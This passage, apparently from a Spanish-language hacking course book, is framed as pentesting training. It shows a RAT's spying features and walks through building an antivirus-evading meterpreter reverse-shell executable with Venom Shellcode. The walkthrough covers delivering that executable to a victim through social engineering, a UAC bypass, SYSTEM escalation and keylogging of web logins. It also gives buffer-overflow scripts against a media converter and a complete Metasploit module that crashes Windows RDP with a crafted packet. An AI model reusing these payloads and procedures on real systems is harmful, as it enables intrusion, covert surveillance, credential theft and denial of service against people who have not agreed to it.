una manera rápida, simple y sigilosa, gestiona la información en una forma en la que se pueda
interpretar mejor y funciona de una forma bastante estable, ahora que ya vimos un simple ejemplo
en un ambiente controlado.
¿Te imaginas lo que puede capturar en escenarios reales en el mundo laboral o durante la infección
de una víctima en específico?
Explorando las demás funciones disponibles en la categoría “Surveillance”, nos encontráremos
con algo bastante llamativo y útil, el “Voice Recorder” (grabador de voz). No hace falta hacer una
descripción de lo que hace o cuál es su finalidad en sí, pero lo que será necesario es explicar sus
2 modos de uso que son con archivo de salida o sin este. Al seleccionarlo aparecerán los
“Recording Devices” (dispositivos de grabación) disponibles en el equipo cliente, puesto a que el
cliente es virtual habrá veces en las que el entorno de virtualización (VMware) no hará posible la
migración de recursos (Hardware/Micrófono) hacia él, por ello es posible que aparezca de esta
forma (Microphone HDAD) de lo contrario se mostrará el modelo de este.
Dentro de las opciones de uso nos topamos con “Bitrate” (velocidad de transmisión), esto definirá
la cantidad de espacio físico que ocupará un segundo de duración de ese audio, en pocas palabras
es la calidad de audio, la que viene configurada por default es de 8192. De los distintos modos
con los que contamos, queda por default el de “Voip” (Voice Over Internet Protocol), que es un
protocolo de comunicación que hace posible que la señal de voz viaje por internet.
En cuanto a los 2 modos de uso, puedes especificar si al final del “Recording” (Grabación) quieras
un archivo de salida de la grabación (Save to file) y guardarlo en un directorio específico (Path),
hecho esto solo presionas “Start Recording” y terminas tu trabajo cuando quieras con el botón de
a lado. Si solo quieres escuchar, bastará con presionar “Start Recording”
Dentro la función y su modo de uso podemos configurar los diferentes monitores a replicar o a
hacer “Mirroring”, ya que un equipo puede tener 1 o más monitores conectados, también podemos
establecer la calidad en la que queremos recibir el “Streaming” (mientras más alta más uso de
ancho de banda se hará), los FPS (Frames per second) que tendremos sobre este “Streaming” y
un FullScreen si así lo queremos. En el ejemplo siguiente al iniciar se mostrará en la barra de
monitoreo las acciones relevantes a esta función, como la recolección de “Capture Devices”
(Monitores), numero disponible de estos (1) y el comienzo de la transmisión o “Remote Desktop”
del equipo virtual. Consulta las imágenes:
Imagen 20.9 y 30.0: Función de monitoreo de escritorio.
EXTRA: Exploiting con Venom
Shellcode Generator.
Previamente habías realizado un ejercicio de cómo generar payloads en Python para poder
comprometer un sistema informático, en este caso harás binarios (.exe) maliciosos que al
momento de ejecutarse en el equipo objetivo, realizan la inyección de código arbitrario en la RAM
del sistema, con la consecuencia de que tal sistema sea comprometido de forma completa o
parcial, en esta última es donde se lleva cabo la escalada de privilegios para poder realizar más
tareas de post-explotación sobre el equipo. El detalle es que la generación de RATs (Remote
Access Trojans) con algunas otras herramientas no es tan discreta que con Venom Shellcode, el
cual genera payloads en distintos formatos (Python, C, Ruby, Exe, DLL, BAT, .JAR (Java), PDF,
etc) los cuales llevarán consigo potentes troyanos que resultan bastante perjudiciales para el
equipo víctima.
En la siguiente demostración ejemplificaré como conseguir la explotación de un sistema con
plataforma Windows, en este caso será con Win 10, cabe mencionar que los payloads generados
para Windows funcionan para los más modernos y comunes (Win Vista, 7, 8 y 8.1)
• Una Distribución para pentesting actualizada, recomiendo Parrot 3.1 o 3.2, Kali 2016.1 ó
2016.2, ya que las anteriores puede que no cuenten con las dependencias que usa Venom
Shellcode.
• Un equipo Windows en el mismo segmento de red que tú maquina atacante, ya sea virtualizado
o físico, en este ejemplo usaré uno virtualizado.
Obtención de Venom Shellcode.
Al igual que con otras herramientas que he demostrado, Venom Shellcode no viene precargada
en las distros para pentesting más populares, por lo que habrá que descargarla e instalarla por
nuestra cuenta.
Entra a este URL para descargarlo:
https://sourceforge.net/p/crisp-shellcode-generator/shell/ci/master/tarball
También puedes descargarlo mediante el comando “git clone”, ejecutando: git clone
http://git.code.sf.net/p/crisp-shellcode-generator/shell crisp-shellcode-generator-shell
Lo cual realizará la descarga en nuestra máquina atacante, en donde navegaremos al lugar donde
reside su descarga: “/root/shell/”, dentro se halla otro directorio nombrado “aux” el cual contiene
el archivo para iniciar la instalación, (setup.sh), establecemos una configuracion con chmod +x
*.sh y después ejecutamos el archivo .sh:
Al iniciar, realizará la búsqueda y Checking de las dependencias para que funcione, en donde
seguirás los pasos de la instalación para poder completarla, no toma más de 5 min.
Una vez ya instalado, navegamos al directorio “/root/shell/” y desde ahí iniciaremos a Venom
Shellcode, ejecutando el comando “./vemom.sh”:
Al iniciar se realizará de nuevo el Checking de las dependencias e iniciará el Banner donde se muestra
un listado con varias columnas, indicando que se codificará, el objetivo con el que funciona, con que
se compilará y el formato final del payload:
Del listado, seleccionaremos la opción número 6, la que funciona para plataforma Windows,
funciona mediante powershell y será generada como un .exe
Seguido de esto, estableceremos la configuracion del payload que generará, esto comenzará al
ingresar el número correspondiente de la lista:
Luego tendremos que configurar el puerto que estará a la escucha de dicha conexión, “LPORT”,
en este ejemplo se usara el 556, tú puedes configurar algún otro puerto de tu preferencia.
Ahora lo siguiente será escoger el payload de tipo “Staged” que será el que desde la maquina
victima trabajará en conjunto con el Framework de Metasploit en nuestra maquina atacante. El
payload que escogeremos será “windows/meterpreter/reverse_tcp” el cual funcionará como un
shell inversa que se nos devolverá al momento de la ejecución del binario malicioso en el quipo
objetivo:
Imagen 1.7: Selección de payload
Por ultimo escogeremos el medio por el cual se establecerá el enlace de comunicación al momento
de que el payload se ejecutado, ya sea un handler o un enlace malicioso, en este caso se usará
la primera opción, el Handler, el cual es un exploit que al momento de usarlo estará a la escucha
de los exploits ejecutados por fuera de Metasploit, es decir, mostrará los stage o conexiones
creadas por estos troyanos o exploits ajenos al framework, en donde este trabajara en conjunto
con el binario malicioso:
NOTA: Para esta demostración no harás uso de Metasploit por este medio, ya que las fallas son
algo común al momento de enviar exploits, hacer uso de auxiliaries, encoders o shells, en
cambio, lo iniciaré por mi cuenta desde una nueva terminal de comandos, simplemente
ejecutando “msfconsole”:
Al terminar eso, solo hace falta llegar el troyano al equipo víctima y conseguir que sea ejecutado,
para esto puede que se requiera algo de ingeniería social. La ubicación del binario es
“/root/shell/output”:
Ahora que sabemos que puede hacer bypass o evasión de más de 30 AV´s destinos, podemos
hacerlo llegar al equipo objetivo y conseguir que sea ejecutado:
Una vez que se consiga esto, en Metasploit aparecerá el envió de petición hacia la dirección
donde se ejecuta el troyano, devolviéndonos asi la shell inversa antes configurada y obteniendo
la sesion de Meterpreter, lista para ejecutar comandos sobre el equipo ajeno:
Ahora que sabemos el User ID, podemos notar que no tenemos carácter administrativo sobre este
sistema, asi que haremos una escalada de privilegios para conseguir esta, la cual también se
demostró en previos post que h realizado, haciendo bypass del UAC mediante algo de Powershell.
Antes de hacer esto haremos una migración a un proceso que este corriendo actualmente, esto
con el fin de que no se pierda la conexión en caso de que la persona borre o cierre el binario
malicioso. Después haremos un background de la sesión para tenerla trabajando en segundo
plano y asi volver a msfconsole, desde donde haremos uso del exploit para hacer bypass de UAC,
colocando en este la sesion en la que nos encontramos (1) y la técnica de inyección de código:
PSH (Powershell), al lanzarlo se deshabilitará el UAC y abrirá una sesion de meterpreter nueva:
En esta nueva sesion ejecutaremos de nuevo el comando “ps” para en listar los procesos y
migraremos a alguno que tenga la característica “NT AUTHORITY\SYSTEM”:
Imagen 2.9: Migración a un proceso de carácter administrativo.
Una vez hecho esto, ejecutamos el comando “getprivs” para enlistar os privilegios con los que
contamos actualmente en este sistema, en donde se enlistaran 22 privilegios, si ejecutamos de
nuevo el comando “getuid” aparecerá la etiqueta “NT AUTHORITY\SYSTEM”, y si también
ejecutamos el comando “getsystem” aparecerá que se obtuvo previamente mediante la técnica
que se describe seguido a la derecha:
Ahora, haremos una tarea de post-explotación, haciendo uso de un “keysniffer” para capturar
teclas presionadas en este equipo comprometido, usando el comando “keyscan_start” para iniciar
este sniffer, una vez que queramos hacer el volcado de la información que capturó ejecutamos el
comando “keyscan_dump”. Seguido de eso, dentro de un Doc. De Word nombrado Testing
Shellcode, se ejemplificará un escrito para demostrar el uso del Keylogger:
Ahora lo intentaremos con el formulario de Loggeo en una Página Web, no importa si usa una
conexión segura o no, ya que el sniffer solo captura teclas presionadas, ya que Metasploit lo
ofusca para que no sea detectado por firewalls en equipos o sitios web, como es el caso de
Instagram, en donde ingresarás un usuario y password ficticios, teniendo corriendo al
keylogger/sniffer en Metasploit:
Por otro lado, en Metasploit, haremos el volcado de la información capturada por el “keysniffer”:
Todo esto tiene una finalidad, aprovecharnos de errores de seguridad (security flaws) o
vulnerabilidades que existen en algún recurso informático, puesto a que existen miles de exploits,
cada uno tiene su finalidad o propósito como lo puede ser el causar un overflow, hacer un bypass,
realizar una inyección de código o hasta comprometer un sistema en su totalidad.
NOTA: Para que puedas tener una comprensión total de que es lo que viene más adelante en este
capítulo debes contar con conocimientos básicos del lenguaje ensamblador, de lo contrario puede
que se te topes con algunas complicaciones, así que veremos unos aspectos básicos sobre este
y cuál es la importancia que tiene en el desarrollo de exploits.
En el libro COISP 1 podrás encontrar información más a detalle sobre lenguaje ensamblador en el
capítulo de Cracking.
Aspectos básicos.
Es importante cubrir algunos conceptos necesarios para poder comprender mejor la creación de
exploits y en que consiste, los siguientes conceptos se aproximan al tema de en la formulación de
exploits en aspectos de seguridad relacionados con Hardware y Software:
❖ Register (Registro): es un área del procesador que se utiliza para almacenar información,
cada proceso que se ejecuta en el procesador es en base al registro, un ejemplo de ello
fue en el capítulo anterior indicando esta función en el RAT.
❖ Llamadas de sistema (System Calls): Estas son llevadas a cabo un método de nivel de
sistema invocado por un programa en ejecución.
❖ Buffer Overflow: Esto generalmente significa que hay más datos suministrados en la pila
o en el buffer que los que este puede contener, si esto desborda, puede ocasionar el
“Crash” de un programa o simplemente un DoS.
Registros.
Estos son los encargados de llevar a cabo casi todas las funciones en el sistema, ya que contienen
todas las instrucciones a ser procesadas. Comúnmente hacemos referencia alguno de ellos por el
tamaño de memoria que pueden contener (Holding 8 to 32-bits), los registros son componentes
de memoria muy veloces, algunos tipos de estos son los de tipo Index, de propósito general, de
segmento y EFLAGS, veamos algunos de ellos:
El siguiente ejercicio hará énfasis en los últimos 2 registros, estos son los que trabajan
directamente con pilas, y apuntadores de instrucciones, sabiendo esto vamos a crear 2
programas; uno que será la aplicación vulnerable, y otro que se aproveche del código de esta y
haga cambios con los registros.
Bien, aquí tendrás tu primera aproximación en el tema de cómo es que se formula un exploit de
este tipo, asemejándonos al funcionamiento de uno de ellos. Lo que harás en este primer ejercicio
será compilar un programa y en base al código proporcionado para este, explotar el fallo o
vulnerabilidad que se halla dentro.
Haremos énfasis en hacer “Crashear” una Aplicación y saber sobre que circunstancias ocurre esto,
con la finalidad de poder saber comprender y analizar las modificaciones que se tienen que realizar
para conseguir lo anterior.
Como previamente se comentó acerca de los registros, EIP y ESP pueden resultar afectados
cuando se les proporciona a estos una cantidad de datos lo suficientemente grande para poder
ocasionarles un overflow, así que lo que se hará será compilar un programa que usará buffers y
le ocasionaremos un Crash. Pero antes cubrirás algunos conceptos importantes para que
entiendas cuál es su lugar en los programas y como es que se involucran en una vulnerabilidad
de este tipo.
Lo que necesitarás:
• Windows 10
• Parrot Security OS
El programa al que nos referimos está hecho en C, lo verás en la sintaxis en un momento, ahora
lo que harás con este código será compilarlo, para esto usaremos un compilador de C, en este
caso será LCC Compiler que también viene incluido en el material correspondiente a este capítulo,
aunque también puedes descargarlo por aquí: https://lcc-win32.en.uptodown.com/windows
Antes de continuar habrá que hacer una pequeña configuración en el equipo Windows, siendo
esta la habilitación del cliente Telnet. Esta función nos permitirá interacción local remota entre
Windows y Parrot, lo que la lleva ser la interprete para explotar la vulnerabilidad del código.
Teniendo esto configurado y haber hecho la instalación de LCC Compiler lo abriremos. Hecho
esto, buscamos el archivo que contiene el código en C, esto desde el menú desplegable “File” y
seleccionado la opción “Open”.
Una vez localizado lo abrimos y veremos una ventana con el código siguiente:
Puedes sentirte libre de leer o inspeccionar el código de este programa si así lo quieres. LCC
Compiler pide la creación de un proyecto por cada file que se quiera compilar, por lo que habrá
que hacer esto, para conseguirlo más rápido, basta con seleccionar la opción “Compile” que
aparecerá antes del nombre del File actual, al finalizar aparecerá un mensaje indicando el tiempo
que tomó, todo esto se hace desde el menú “Compiler”:
Lo que esto hará será hacer una llamada al programa y establecer algún puerto que usará el
programa para funcionar, este puede ser de nuestra preferencia, en este caso se usó el 200.
Luego de la ejecución de este primer comando haremos una segunda, ahora usando a la función
“Telnet” para poder conectarse al puerto escogido, para ello basta con ejecutar en una nueva
terminal este comando con la siguiente sintaxis.
Dentro de esta Shell de Telnet, pondremos en función la finalidad del programa y de los registros
EIP y ESP, que son el almacenar datos en una pila y el otro apuntar direcciones de
instrucciones. Sabiendo esto ingresaremos caracteres aleatorios en el input en 3 intentos.
Durante los 2 primeros no ha pasado nada, en cambio, en el tercer intento ingresaremos los
suficientes caracteres con el fin de conseguir el cierre de la aplicación, gracias al Buffer-overflow
que ocasionamos. Como se puede ver, un mensaje de error fue generado por Windows, en
donde indica que la aplicación tuvo un fallo durante su funcionamiento.
Imagen 31.0: Desbordamiento conseguido.
Hasta ahora hemos sobrescrito los valores del registro ESP que es el que trabaja con el stack
(pila), consiguiendo así el Crashing de la aplicación y por ende su cierre total.
Pero esto lo hemos hecho sobre la misma aplicación, así que es momento de hacerlo de forma
remota desde otra máquina que se halle en el mismo segmento de red que la máquina atacante,
la cual será la que contenga la distro de Parrot Security OS.
Aquí es donde crearemos un file con Perl el cual contendrá un número específico de caracteres
aleatorios.
• perl -e ‘print’ “LOL” x 300 , “HM” x 300’ > crash.txt : Este creará un script que imprima
los caracteres “LOL” y “HM” 300 veces cada uno:
La diferencia que harás con esto es que te has deshecho de la parte manual de hacerlo todo en
la propia maquina Windows en donde corre la aplicación, ahora solo bastará con que hagas una
conexión Telnet desde Parrot mientras la aplicación esté en función en el Host Windows, para esto
volverás a ejecutar el primer comando de la lista (bof-server.exe 200).
Luego de que se haya puesto el programa a trabajar sobre este puerto o el que se haya
seleccionado, pasarás a ejecutar el siguiente comando en Parrot:
Pasando al lado de Windows, nos encontraremos con el mismo error de fallo en la aplicación,
el que se ocasiono debido a la sobre escritura de valores en el registro ESP, gracias a que tú
hiciste un Buffer-overflow en el. Además, se puede ver los diferentes registros de conexión y
desconexión de Telnet, debido al Overflow ocasionado un par de veces por este método, otra forma
en que se puede manifestar la desconexión es que en la terminal aparezca un banner indicando
la finalización anormal del programa:
Utilizamos 2 formas distintas para explotar esto y conseguir el fallo de la aplicación, una era
interactuar directamente con el programa y simplemente ingresar caracteres de más dentro de él,
y la otra era que desde Parrot se hiciese el envío de un script en Perl que imprimía 600 caracteres
al momento de ejecutarse, consiguiendo así el Crash de la aplicación de forma remota,
aproximándonos cada vez más a la formulación de un exploit. Ahora en esta nueva prueba,
trabajarás con una Aplicación auténtica la cual cuenta con una vulnerabilidad de este tipo, solo
que un poco más compleja de explotar. Una vez que consigas el primer medio de explotación,
pasarás a utilizar un Debugger (Depurador) sobre la aplicación, esto tiene como final el que
comprendas más a detalle este fallo, utilizando como interprete o depurador a Immunity
Debugger, entendiendo así las instrucciones involucradas y registros afectados por esta
vulnerabilidad y su explotación.
Como ya se sabe, esto también se consigue mediante la ejecución remota de código, ahora
utilizaremos a Python para hacer el compilar el código que consiga afectar la aplicación, una vez
que consigas esto y hayas utilizado el Debugger para interpretar de mejor forma este Crashing del
programa, harás uso de una librería en Python para la escritura de exploits. Dentro del
repertorio de material correspondiente a este capítulo, encontrarás una carpeta nombrada “BOF
No. 2”, dentro viene lo necesario para poder completar este ejercicio:
Antes de comenzar habrá que instalar un par de cosas para poder completar esta prueba, realiza
estas instalaciones dentro de tu equipo Windows en el siguiente orden:
1) Python- 2.7.13: Es el lenguaje que usaremos y sobre el que vamos a compilar el exploit.
2) Immunity Debugger 1.85: Este es el software depurador que se usará en esta prueba,
requiere la instalación de Python.
Una vez que esté listo lo anterior, abriremos el IDLE de Python (GUI) para comenzar nuestra
aproximación, una vez dentro del IDLE abriremos un nuevo archivo desde el menú “File”, en la
opción “New File” y seguiremos los siguientes pasos:
• Al hacer esto se abrirá una nueva ventana, en donde escribiremos el código de abajo,
terminado, lo guardamos con el nombre y en el lugar de nuestra preferencia desde el menú
“File”, consulta la imagen:
primeravariable= "HackingMexico"*17890
archivo=open("Playlist.m3u","w")
archivo.write(primeravariable);
archivo.close()
• Ya estando guardado, corremos el programa con la opción “Run Module” desde el menú
“Run”, mostrando la ejecución correcta, con una nueva “Prompt Line”.
• Lo que hicimos con esto fué que la primera línea imprima el texto “HackingMexico” 17890
veces, luego al momento de la compilación este script se guardará como un archivo con
extensión “.m3u”, que es el formato del Playlist con el que trabaja el programa vulnerable,
este “Playlist” se encuentra en el lugar donde reside el script de Python:
• Teniendo este Playlist, abrimos el programa vulnerable (Mini-streamRM-MP3Converter) y
desde la opción “Load” ubicaremos el directorio del archivo “.m3u” y cargaremos este
“Playlist”, que en realidad es un script que lleva la instrucción de que al momento de su
ejecución imprimir o mostrar 17890 veces el texto configurado, consiguiendo el “Crashing”
de la aplicación:
Hasta este punto hemos conseguido el desbordamiento de la pila gracias al script hecho en
Python, el cual lo hicimos pasar por un supuesto “Playlist” que cargamos al programa,
ocasionando el Overflow. Hecho esto, es momento de pasar a utilizar un Debugger para hacer
un poco de Reversing y comprender de mejor forma que es lo que ocurre en el programa cuando
la pila de este se desborda.
Para esto utilizaremos el Debugger antes mencionado, “Immunity Debugger”. Cabe mencionar
que es recomendable siempre ejecutarlo como administrador, también es importante
mencionar que el directorio de instalación de este Debugger puede variar, lo más común es que
al finalizar la instalación del programa, el lugar en el que resida será en el directorio “C:\Program
Files(x86)\ImmunityInc\ImmunityDebugger”, en este caso debido a la protección antivirus del
equipo, se instaló en el siguiente directorio o “Path”:
Una vez dentro, abriremos el Binario que cuenta con la vulnerabilidad de Buffer-overflow, esto
desde el menú “File” mediante la opción “Open” para navegar hacia el directorio en donde reside,
aquí también puede variar el “Path” de instalación, sin embargo, lo común es que se guarde en el
siguiente directorio, (Por obvias razones aparece en el historial del Debugger ya que lo abrí con
anterioridad):
Lo que haremos con este binario será una poco de Reversing hacia este, depurando el código y
mostrándolo en un lenguaje de bajo nivel, esto con la finalidad de identificar qué es lo que está
siendo afectado en el programa, que registros están involucrados en este fallo, y como conseguir
que, gracias a esta nueva información, podamos llevar las cosas un poco más lejos. Está de más
mencionar que deberás tener conceptos esenciales de “Assembler” (Lenguaje ensamblador).
Una vez abierto el binario en el Debugger, este se mostrará de la manera siguiente:
Imagen 32.8: Panel CPU y sus ventanas en el Debugger.
Antes de que sigamos con esto, hay que aclarar ciertos puntos. Cuando se carga una aplicación
o un binario a Immunity Debugger, este por defecto abrirá un panel nombrado “CPU” que es el que
se ve en la imagen anterior, este está dividido de 4 componentes:
• Registers (Registros): Aquí se pueden visualizar todos los registros del CPU y sus valores,
se pueden ver registros de propósito general (General Purpose) los cuales contienen
valores temporales, y también se ven registros para controlar el flujo del programa, también
se pueden ver registros bandera, los cuales el CPU cambia cuando ha ocurrido algo
importante o notorio (como un Overflow).
• Dump (Volcado): Esta ventana muestra la vista hexadecimal del programa completo,
dividida en 3 columnas, la primera muestra la dirección, la segunda los valores que se
hallan en esa dirección, y la última muestra cometarios.
• Stack (Pila): Muestra la locación de memoria a la que apunta el registro “ESP”.
Entendidos los puntos anteriores, es momento de correr el programa sobre el Debugger para
poder interpretar mejor las instrucciones que se llevan a cabo para esta ejecución, para ello
haremos clic en la opción “Run”, al principio verás unos movimientos en las instrucciones e
inmediatamente aparecerá en detención (Paused) el programa, esto lo puedes verificar en la
esquina inferior derecha del Debugger, esto no quiere decir que no funcione correctamente el
programa, si no que las instrucciones de inicio trabajan en fases diferentes, solo basta con hacer
clic en “Run” una vez más. Luego de esto se abrirá el programa, ahora repetirás los pasos
anteriores; cargar el “Playlist” (Script de Python) con extensión .m3u para conseguir el “Crash”:
Imagen 32.9 – 33.3: Proceso de Debugging y Crashing de la Aplicación.
El registro ESP (Stack Pointer) apunta a una dirección, la cual contiene como valor “HMex”,
impreso 17890 veces, y EIP, apunta hacia una dirección que es la 4D487865, así como también
en el Stack aparece la misma dirección con el mismo valor:
Esta herramienta viene incluida en el material de trabajo para este capítulo, dentro de la carpeta
“mona-master” Para que funcione con el Immunity Debugger simplemente deberá agregarse a la
carpeta “PyCommands” que se encuentra en el directorio de instalación del Debugger, solamente
vas copiar el archivo con extensión .py. Una vez colocado tendrás que reiniciar Immunity
Debugger:
Terminado lo anterior, obviamente tendrás que repetir los pases anteriores hasta la parte en donde
vimos los registros ESP e EIP afectados. Luego que retomes el punto anterior, ejecutarás tal cual
lo siguiente en la barra de comandos de Immunity Debugger: !mona pc 17890
Donde:
Al momento de la ejecución aparecerá una nueva ventana con texto en verde neón, indicando el
proceso de la acción ejecutada, así como también muestra detalles sobre lo que solicitamos, como
lo es el tiempo de compilación y el nombre del archivo de salida (output), que es “pattern.txt”
El renglón con caracteres más largo que vemos es el patrón de 17890 bytes que solicitamos crear,
también veremos una nota en color rojo indicando algo importante, indica que no es
recomendable copiar el patrón desde ahí mismo en el Debugger, ya que puede aparecer
cortado, por lo que habrá que copiarlo directamente desde el archivo de salida con extensión
.txt, este reside en el directorio de instalación de Immunity Debugger.
Una vez que tengas ubicado el archivo, lo abrirás y copiarás todo el patrón fue generado con
mona.py desde el Debugger y harás el siguiente cambio en el código del primer script de Python,
en donde reemplazarás el texto “HMex” por el patrón que copiaste, al final del texto a imprimir
indicarás que quieres esa impresión 2 veces (*2), guardarás los cambios y ejecutarás el script:
Una vez que demos el SI, se restablecerán las 4 ventanas que constituyen el panel de CPU.
Repetirás los mismos pasos que van desde el inicio de programa en el Debugger hasta la
selección y carga del “Playlist” que en este caso se trata del script en Python que trae los patrones
creados con mona.py.
Una vez cargado, verás que la aplicación tendrá de nuevo un “Crash”, siendo este un Overflow
ocasionado por el código proporcionado.
En la ventana de Registers y Stack verás que ahora abundan los caracteres aleatorios que fueron
sacados del archivo “pattern.txt”, así como también podrás notar que el registro ESP apunta a
una dirección con datos (Caracteres aleatorios), esta dirección también se encuentra en la
ventana de Stack:
Este número que nos arrojó el Debugger lo usaremos para añadirlo al script y hacer cambios en
este. Esto con el fin de ocasionar de nuevo la detención del programa, sin embargo, verificaremos
los nuevos resultados que se mostrarán en el Debugger. Al código de Python le añadiremos 3
líneas nuevas y modificaremos la primera y la penúltima, quedando de esta forma:
primeravariable= "HMex"
punch= "PS"*17163
dirEIP= "EIP"
punch2= "HM"*2846
archivo=open("Playlist.m3u","w")
archivo.write(primeravariable+punch+dirEIP+punch2);
archivo.close()
Imagen 34.7 – 35.0: Compilación del código, reinicio del programa, y nuevo desbordamiento de pila.
Al conseguir el desbordamiento, veremos en la ventana de “Registers” la dirección a la que apunta
el registro EIP, que es la 484D84D, si verificamos a detalle la ventana “Stack”, podremos ver que
en ella se encuentran los valores proporcionados en el código de Python, apuntando las
direcciones hacia el valor “HM”, que es el referente al registro EIP con dirección 484D484D,
también vemos el valor “EIP” y “PS” proporcionados en el script, cada uno apuntando a direcciones
diferentes, viéndose de la siguiente manera:
Existe un detalle más, como la vulnerabilidad de la que te vas a aprovechar funciona mediante un
servicio de Windows (Remote Desktop Service), aquí no podrás buscar un file que contenga código
malicioso y abrirlo, ni harás un script con caracteres aleatorios, ni tampoco harás Reversing o
Debugging del programa. Ahora con el código antes mencionado, lo exportarás hacia los
repositorios de Metasploit, creando así tu propio módulo para que después te apoyes del
Framework para poder usar este bloque de código a su modo de Metasploit, y después conseguir
el Denial of Service, y para esto… existe todo un proceso que seguir, antes de ello, es importante
que sepas unas cosas acerca de crear tu propio módulo en Metasploit.
Formulación de tu primer Auxiliary.
Como pentester, es importante que sepas que se habrá ocasiones en las que tendrás las buscar
la manera de perjudicar ciertos recursos informáticos debido a que no cuentas con los medios para
conseguir este fin, como lo es algún exploit o auxiliar para atacar algo, por lo que tendrás que
compilar código por tu cuenta y posteriormente añadirlo al Framework para probar su eficacia.
Al iniciar con esto doy por hecho que estas familiarizado con algo de programación o puedes
comprender lo que hace cada línea del código, así como también has entendido lo que implica una
vulnerabilidad “Buffer Overflow”.
El siguiente escenario te encontrarás con una máquina virtual que cuenta con Windows 7, esta
trae consigo una versión vulnerable de del RDP (Remote desktop protocol), la cual afecta al
servicio de escritorio remoto de Windows, siendo también un overflow. Con el siguiente código,
conseguirás explotar esta vulnerabilidad y así mismo la adición de este a Metasploit, a pesar de
que este código tiene la función de explotar esta vulnerabilidad, se le asignará al módulo
“Auxiliary”, ya que la sintaxis para uso de código en Metasploit establece que se necesita un
payload para poder hacer uso de la librería “Exploit”, por lo que se quedará como un “auxiliar”,
aunque resulte igual de perjudicial que un exploit, para los exploits siempre debe de existir
un bloque de información acerca de un payload, si no existe tal, se le considera un Auxiliar..
Metasploit cuenta con un extenso repositorio de scripts, encoders, exploits, etc. Estos van por
categorías y clasificaciones, dependiendo el uso que se les vaya a dar, en singular, un módulo es
el lugar en donde se encuentra un bloque de código que funciona con Metasploit, ya sea cualquiera
de los tipos de repos antes mencionados, pero para que un módulo funcione bien debe tener cierta
sintaxis el código para que Metasploit lo tome en cuenta, por ello es importante la sintaxis de esta
acción en el código antes mencionado.
¿Qué es lo que haremos para lograr explotar esta vulnerabilidad?
Parrot cuenta con un editor de texto bastante bueno, se trata de “Pluma”, este podemos abrirlo
desde una consola:
Sabiendo todo lo necesario, usaremos el siguiente código para para crear nuestro Auxiliary para
Buffer Overflow:
NOTA: Este código también vine incluido en me material de trabajo referente a este capítulo.
require 'msf/core'
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
'Autor' =>
[
'Tu_Nombre'
],
'Tipo de uso' => MSF_LICENSE,
))
register_options(
[
Opt::RPORT(3389)
], self.class)
end
def si_el_servicio_esta_funcional
begin
connect
disconnect
return true
rescue Rex::ConnectionRefused
return false
rescue Rex::ConnectionTimeout
return false
end
end
def run
tercer_overflow = "\x02\x01\xff"
pkt = ''+
"\x03\x00\x00\x13" + # TPKT: version + length
"\x0E\xE0\x00\x00" + # X.224 (connection request)
"\x00\x00\x00\x01" +
"\x00\x08\x00\x00" +
"\x00\x00\x00" +
"\x03\x00\x00\x6A" + # TPKT: version + length
"\x02\xF0\x80" + # X.224 (connect-initial)
"\x7F\x65\x82\x00" + # T.125
"\x5E" +
"\x04\x01\x01" + # callingDomainSelector
"\x04\x01\x01" + # calledDomainSelector
"\x01\x01\xFF" + # upwardFlag
"\x30\x19" + # targetParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x30\x19" + # minimumParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x30\x19" + # maximumParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x04\x82\x00\x00" + # userData
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x0C" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x38\x00\x06\x03" + # T.125
"\xF0" +
"\x03\x00\x00\x09" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x21\x80" # T.125
unless si_el_servicio_esta_funcional
print_error("#{rhost}:#{rport} - Algo anda mal, conexion no establecida")
return
end
connect
print_status("#{rhost}:#{rport} - Enviando #{self.name}")
sock.put(pkt)
Rex.sleep(3)
disconnect
print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes enviados")
if si_el_servicio_esta_funcional
print_error("#{rhost}:#{rport} - Algo anda mal, conexion no establecida")
return
else
print_good("#{rhost}:#{rport} Buen trabajo, esta inhabil")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} Desbordamiento conseguido hacia el servicio RDP"
})
end
end
end
Al comienzo del bloque de código podemos ver algo acerca de Metasploit, en donde nos topamos
con las líneas encargadas de que el Framework reconozca este código como un módulo funcional,
gracias a la sintaxis siguiente:
En donde de la línea 1 a la 8:
• require ‘msf/core’: La librería “core” provee los fines con los que se quiera utilizar el
framework, ya sea un enconder, un exploit, un auxiliar, un post, etc.
• class: Indicará las categorías en las que se hallará el módulo.
Imagen 35.5: Condicionales acerca de la respuesta por parte del Host Vulnerable.
